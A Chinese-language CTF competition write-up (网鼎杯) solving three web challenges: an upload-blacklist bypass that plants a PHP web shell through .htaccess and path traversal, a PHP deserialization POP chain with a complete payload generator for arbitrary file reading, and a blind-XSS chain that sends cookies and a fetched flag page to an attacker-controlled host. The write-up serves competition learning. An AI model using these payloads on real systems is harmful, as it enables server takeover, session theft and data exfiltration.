网鼎杯比赛感想
水浅王八多,python真是多。 白虎组也太卷了,金融行业尤其卷,能做出来crypto和web我能理解,pwn、reverse都是强项,比web还强,那是平常不干业务吗?难以理解,而且现在比赛都不是pwn爹了,那是pwn爷爷,ak了web,还做了misc和crypto,最后只有三四百分,一道pwn题就是400多分,一道pwn就能进线下。现在web狗真是没啥活路。
吐槽归吐槽,但是还是技不如人。不过这次白虎组web基本都做出来了。先记录下WP吧!
web
一共有三个web题目,都是序号形式的,下面我就随意命名了,主要是记录下思路。
绕过一堆限制进行文件上传
首先是扫描目录发现git泄漏。
核心函数在application controller里面,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| <?php namespace app\index\controller;
class Index { public function index() { return '<form method="post" enctype="multipart/form-data" action='.url('index/index/upload').'> <input type="file" name="hw_file"> <input type="submit" value="上传">';
}
public function upload() { if (request()->isPost()){ $file = $_FILES['hw_file']??''; if(!$file){ return json(['code'=>0,'msg'=>'请选择文件']); } $file_name = $file['name']; $file_tmp = $file['tmp_name']; $file_size = $file['size']; if ($file_size > 1024*1024*2){ return json(['code'=>0,'msg'=>'文件大小不能超过2M']); } $file_error = $file['error']; if ($file_error > 0){ return json(['code'=>0,'msg'=>'上传失败']); } $file_type = $file['type']; $file_ext = explode('.',$file_name); $file_ext = strtolower(end($file_ext)); if(strstr($file_type, "image/")){ if($this->upload_as_image($file_ext, $file_tmp, "../uploads/images/".date('YmdHis')."/", ["gif"], request()->get("hw_file_name")??FALSE)){ return json(['code'=>1,'msg'=>'上传成功']); } else { return json(['code'=>0,'msg'=>'上传失败']); } } else { if($this->upload_as_text($file_ext, $file_tmp, "../uploads/files/".date('YmdHis')."/", request()->get("hw_file_name")??FALSE)){ return json(['code'=>1,'msg'=>'上传成功']); } else { return json(['code'=>0,'msg'=>'上传失败']); } } } else { return json(['code'=>0,'msg'=>'请求方式错误']); } }
public function upload_as_image($image_type, $image_tmp_file, $upload_base_dir, $file_ext_black_list, $image_filename=FALSE) { if(in_array($image_type, $file_ext_black_list)){ return 0; } switch ($image_type) { case 'jpg': $image_ext = '.jpg'; break; case 'png': $image_ext = '.png'; break; case 'gif': $image_ext = '.gif'; break; default: $image_ext = '.jpg'; break; } $image_size = getimagesize($image_tmp_file); $image_width = $image_size[0]; $image_height = $image_size[1]; if($image_width > 200 || $image_height > 200){ return 0; } if ($image_filename === FALSE) { $image_filename = date('YmdHis') . rand(1000, 9999) . $image_ext; } else { $image_filename = $image_filename . $image_ext; } if(!file_exists($upload_base_dir)){ mkdir($upload_base_dir, 0777, true); } $image_file_path = $upload_base_dir . $image_filename; rename($image_tmp_file, $image_file_path); return 1; }
public function upload_as_text($text_type, $text_tmp_file, $upload_base_dir, $text_filename=FALSE) { if(strstr($text_type, "ph") || in_array($text_type, ['php', 'html', 'js', 'css', 'sql', 'phtml', 'shtml', 'php5', 'php7', 'phtm', 'pht', 'php8', 'php4', '.htaccess', 'tpl'])){ return 0; } if (strstr($text_filename, ".") || strstr($text_filename, "/")) { return 0; } if( strlen($text_type) == 0){ $text_ext = ""; } else { if(!ctype_alpha($text_type)){ return 0; } $text_ext = "." . $text_type; } if ($text_filename === FALSE) { $text_filename = date('YmdHis') . rand(1000, 9999) . $text_ext; } else { $text_filename = $text_filename . $text_ext; } if(strlen($text_filename) == 0 || strstr($text_filename, "/") ||!preg_match('/[A-Za-z0-9_]/is', $text_filename)){ return 0; } if(!file_exists($upload_base_dir)){ mkdir($upload_base_dir, 0777, true); } $text_file_path = $upload_base_dir . "/" . $text_filename; rename($text_tmp_file, $text_file_path); return 1; } }
|
这题目花里胡哨,其实挺简单的,主要还是考察细心,这里有两个上传处理的函数:1、upload_as_image 2、upload_as_text
其中upload_as_text看似过滤严格,但是黑名单中.htaccess这个加了一个.就导致这个后缀是可以饶过的。所以我们可以通过upload_as_text上传.htaccess进行文件上传的利用。
上传文件.htaccess
1 2 3 4 5 6 7 8
| ------WebKitFormBoundaryEjLloJDH5ErZUmS9 Content-Disposition: form-data; name="hw_file"; filename=".htaccess" Content-Type: text/plain
<FilesMatch "test"> SetHandler application/x-httpd-php </FilesMatch> ------WebKitFormBoundaryEjLloJDH5ErZUmS9--
|
目录需要遍历时间戳得到在/uploads/files/20220827113034/.htaccess
但是每次上传的这个时间戳都不一样,这就没办法使用.htaccess进行getshell,但是我们还有一个函数upload_as_image:
这个函数没有禁止进行目录翻阅,所以我们可以上传一个指定目录的test.jpg 进行getshell。
1 2 3 4 5 6 7 8 9
| POST /public/index.php/index/index/upload.html?hw_file_name=../../files/20220827113034/test HTTP/1.1
------WebKitFormBoundaryEjLloJDH5ErZUmS9 Content-Disposition: form-data; name="hw_file"; filename="test.jpg" Content-Type: image/plain
<?php echo "Shell";system($_GET['cmd']); ?> ------WebKitFormBoundaryEjLloJDH5ErZUmS9--
|
访问这个图片马去拿flag
php反序列化
首先打开题目就是源码,源码中有一个game参数是可以被反序列化的,所以只需要找一个利用链就行了。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php class abaaba{ protected $DoNotGet; public function __get($name){ $this->DoNotGet->$name = "two"; return $this->DoNotGet->$name; }
public function __toString(){ return $this->Giveme; } } class Onemore{
public $file; private $filename;
public function __construct(){ $this->readfile("images/def.jpg"); $this->file="images/def.jpg";
}
public function readfile($f){ $this->file = isset($f) ? $f : 'image'.$this->file; echo file_get_contents(safe($this->file)); }
public function __invoke(){ return $this->filename->Giveme; }
} class suhasuha{ private $Giveme; public $action;
public function __set($name, $value){ $this->Giveme = ($this->action)(); return $this->Giveme; }
} class One{ public $count;
public function __construct(){ $this->count = "one"; }
public function __destruct(){ echo "try ".$this->count." again"; } } function safe($path){ $path = preg_replace("/.*\/\/.*/", "", $path); $path = preg_replace("/\..\..*/", "!", $path); $path = htmlentities($path); return strip_tags($path); }
if(isset($_GET['game'])){ unserialize($_GET['game']); } else{ show_source(__FILE__); }
|
我是从下往上看的首先就看到了One这个类的destruct进行了字符串拼接,很明显就能想象到会调用__tostring函数,所以查找tostring发现类abaaba存在tostring,所以我们把$this->count 指向abaaba的对应对象上既可以进入abaaba。
然后abaaba类的tostring调用了一个不存在的属性(Giveme):
1 2 3 4 5 6 7 8 9 10 11
| class abaaba{ protected $DoNotGet; public function __get($name){ $this->DoNotGet->$name = "two"; return $this->DoNotGet->$name; }
public function __toString(){ return $this->Giveme; } }-
|
调用不存在的属性时会调用__get魔术方法从而进行对$this->DoNotGet->$name的设置。而设置一个不存在的属性会调用魔术方法set,所以我们就关注下 类suhasuha:
1 2 3 4 5 6 7 8 9 10
| class suhasuha{ private $Giveme; public $action;
public function __set($name, $value){ $this->Giveme = ($this->action)(); return $this->Giveme; }
}
|
suhasuha的set方法正好触发危险函数可以调用一个无参构造方法,所以我们可以将这个方法设为类Onemore的readfile,尽管readfile有参数,但是无参也是可以执行的 会走到image拼接路径那一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class Onemore{
public $file; private $filename;
public function __construct(){ $this->readfile("images/def.jpg"); $this->file="images/def.jpg"; } public function readfile($f){ $this->file = isset($f) ? $f : 'image'.$this->file; echo file_get_contents(safe($this->file)); } public function __invoke(){ return $this->filename->Giveme; }
}
|
如何制定action调用类的指定方法呢?
用数组:$this->action=array(new Onemore(),”readfile”);
然后我们设定Onemore类中的file参数就能进行任意目录文件读取,但是safe中过滤了一些参数,好像是不能饶过,但是可以通过00饶过
1
| $Onemore->file = "..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/flag";
|
我们的思路整理完了,但是如果我们直接生成对象并根据思路进行赋值时会发现报错:
类abaaba的DoNotGet属性时protected的,是无法外部赋值的,对于这种私有和保护的属性进行处理时,如果他不是序列化中必须的参数,可以直接删除,如果必须要用到且是无法外部调用的,那么我们就可以使用__construct构造函数进行内部赋值,也就是说可以直接在new对象的时候就完成属性赋值。
最终的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| <?php class abaaba{ protected $DoNotGet; public function __get($name){ $this->DoNotGet->$name = "two"; return $this->DoNotGet->$name; }
public function __toString(){ return $this->Giveme; }
public function __construct(){ $suhasuha = new suhasuha(); $Onemore = new Onemore(); $Onemore->file = "..\x00/..\x00/flag.php"; $suhasuha->action = array($Onemore,"readfile"); $this->DoNotGet = $suhasuha; } } class Onemore{ public $file; private $filename;
public function __construct(){ $this->readfile("images/def.jpg"); $this->file="images/def.jpg";
}
public function readfile($f){ $this->file = isset($f) ? $f : 'image'.$this->file; echo file_get_contents(safe($this->file)); }
public function __invoke(){ return $this->filename->Giveme; }
} class suhasuha{ private $Giveme; public $action;
public function __set($name, $value){ $this->Giveme = ($this->action)(); return $this->Giveme; }
} class One{ public $count;
public function __construct(){ $this->count = "one"; }
public function __destruct(){ echo "try ".$this->count." again"; } } function safe($path){ $path = preg_replace("/.*\/\/.*/", "", $path); $path = preg_replace("/\..\..*/", "!", $path); $path = htmlentities($path); return strip_tags($path); }
if(isset($_GET['game'])){ unserialize($_GET['game']); } else{ show_source(__FILE__); }
$one = new One(); $abaaba = new abaaba(); $one->count = $abaaba;
echo "-------------------------"; echo urlencode(serialize($one));
|
xss盲打和本地请求伪造
这道题目其实挺简单的先xss打cookie,我这里使用的是如下payload(这个不唯一):
1 2 3
| <script> document.location="http://xxxx.xxx.com/cookie.php?c="%2bdocument.cookie; </script>
|
得到提示:GET /a?cookie=hint=Visit%20/g3t_fl4g%20to%20get%20flag HTTP/1.1
我们直接访问/g3t_fl4g提示本地访问,一般来说我们的这个伪造本地header中只有以下几种方法:
1 2 3 4 5
| X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Client-IP: 127.0.0.1
|
但是这里都不行,再结合xss可以想到是利用xss伪造管理员本地发一个请求,再把响应携带出来,很容易就想到用AJAX。
但是这里对XMLHttpRequest有过滤,我们只需要简单的饶过一下即可:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script> var ajx = eval("new XMLH"+"ttpR"+"equest"); ajx.open("GET","/g3t_fl4g",true); ajx.send(); ajx.onreadystatechange = function () { if(ajx.readyState === 4) { if(ajx.status == 200) { ajx.open("GET","http://VPS:5555/?flag=" + ajx.responseText,true); ajx.send(); } } }; </script>
|
我们的vps上面就会收到flag了。
结束语
web狗真是没啥出路,卷不动CTF了。